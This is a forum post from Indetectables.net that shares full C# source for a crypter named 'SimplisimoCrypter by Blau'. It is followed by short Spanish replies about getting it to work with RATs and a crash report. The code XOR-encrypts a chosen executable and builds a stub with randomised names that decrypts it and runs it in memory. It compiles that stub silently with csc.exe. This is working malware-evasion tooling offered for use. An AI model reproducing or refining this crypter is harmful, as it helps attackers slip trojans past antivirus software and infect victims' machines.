Indetectables

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Forms;

namespace Simplisimo
{
    class Program
    {
        static Random random = new Random();

        [STAThread]
        static void Main(string[] args)
        {
            OpenFileDialog FileDlg = new OpenFileDialog();
            FileDlg.Filter = "(*.exe)|*.exe";
            FileDlg.Title = "SimplisimoCrypter by Blau [Indetectables.net]";
            FileDlg.Multiselect = false;

            if (FileDlg.ShowDialog() == DialogResult.OK)
            {
                string InputFile = FileDlg.FileName;
                if (!File.Exists(InputFile))
                {
                    MessageBox.Show("File does not exists.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }

                byte[] FileBuffer = File.ReadAllBytes(InputFile);

                byte[] key = new byte[5];
                random.NextBytes(key);

                x(ref FileBuffer, key);

                string CompilePath = Directory.GetParent(Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe";
                string BufferVar = RandomString(20);
                string KeyVar = RandomString(20);
                string CountVar = RandomString(20);
                string AssemblyVar = RandomString(20);
                string EntryPointVar = RandomString(20);
                string SourcePath = RandomString(20) + ".cs";
                string OutputPath = RandomString(20) + ".exe";

                string Source = "class " + RandomString(20) + "{static void Main(string[] args) {";
                Source += "byte[] " + BufferVar + " = {" + ByteArrayToStringRepr(FileBuffer, ", ") + "};";

                Source += "byte[] " + KeyVar + " = { " + ByteArrayToStringRepr(key, ", ") + "};";
                Source += "for (int " + CountVar + " = 0; " + CountVar + " < " + BufferVar + ".Length; " + CountVar + "++) " + BufferVar + "[" + CountVar + "] = (byte)(" + BufferVar + "[" + CountVar + "] ^ " + KeyVar + "[" + CountVar + " % " + KeyVar + ".Length]);";
                Source += "System.Reflection.Assembly " + AssemblyVar + " = System.Reflection.Assembly.Load(" + BufferVar + ");System.Reflection.MethodInfo " + EntryPointVar + "=" + AssemblyVar + ".EntryPoint;" + EntryPointVar + ".Invoke(null,new object[]{new string[]{" + EntryPointVar + ".GetParameters().ToString()}});";
                Source += "}}";

                File.WriteAllText(SourcePath, Source);

                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = CompilePath;
                psi.UseShellExecute = true;
                psi.Arguments = "/t:winexe -out:\"" + OutputPath + "\" \"" + SourcePath + "\"";
                psi.WindowStyle = ProcessWindowStyle.Hidden;
                Process.Start(psi).WaitForExit();

                if (File.Exists(SourcePath)) File.Delete(SourcePath);
                if(File.Exists(OutputPath))
                {
                    MessageBox.Show("File compile name: " + OutputPath, "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
                } else
                {
                    MessageBox.Show("Error compiling.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return;
            }
        }

        private static void x(ref byte[] input, byte[] key)
        {
            for (int i = 0; i < input.Length; i++) input[i] = (byte)(input[i] ^ key[i % key.Length]);
        }

        public static string RandomString(int size)
        {
            StringBuilder builder = new StringBuilder();
            char ch;
            for (int i = 0; i < size; i++)
            {
                ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
                builder.Append(ch);
            }

            return builder.ToString();
        }

        public static string ByteArrayToStringRepr(byte[] Buffer, string Separator)
        {
            StringBuilder Result = new StringBuilder();

            int LineCount = 0;
            for(int i = 0; i < Buffer.Length; i++)
            {
                Result.Append(Buffer[i]);
                if (i != Buffer.Length-1) Result.Append(Separator);
                if (LineCount == 50) {
                    Result.AppendLine();
                    LineCount = 0;
                }
            }

            return Result.ToString();
        }
    }
}

Blau escribió:¿Podéis ser más específicos?, ¿qué es lo que no os funciona?

Blau escribió:

A mí me funciona con una bola en .NET v2, como dije, no puedo probar con RATs .NET.

Blau escribió:

A mí me funciona con una bola en .NET v2, como dije, no puedo probar con RATs .NET.

Description:
Stopped working

Problem signature:
Problem Event Name: CLR20r3
Problem Signature 01: odydcccmwgemladpqmax.exe
Problem Signature 02: 0.0.0.0
Problem Signature 03: 5872508b
Problem Signature 04: mscorlib
Problem Signature 05: 2.0.0.0
Problem Signature 06: 4ca2b889
Problem Signature 07: f50
Problem Signature 08: 7
Problem Signature 09: N3CTRYE2KN3C34SGL4ZQYRBFTE4M13NB
OS Version: 6.1.7601.2.1.0.256.1
Locale ID: 1043

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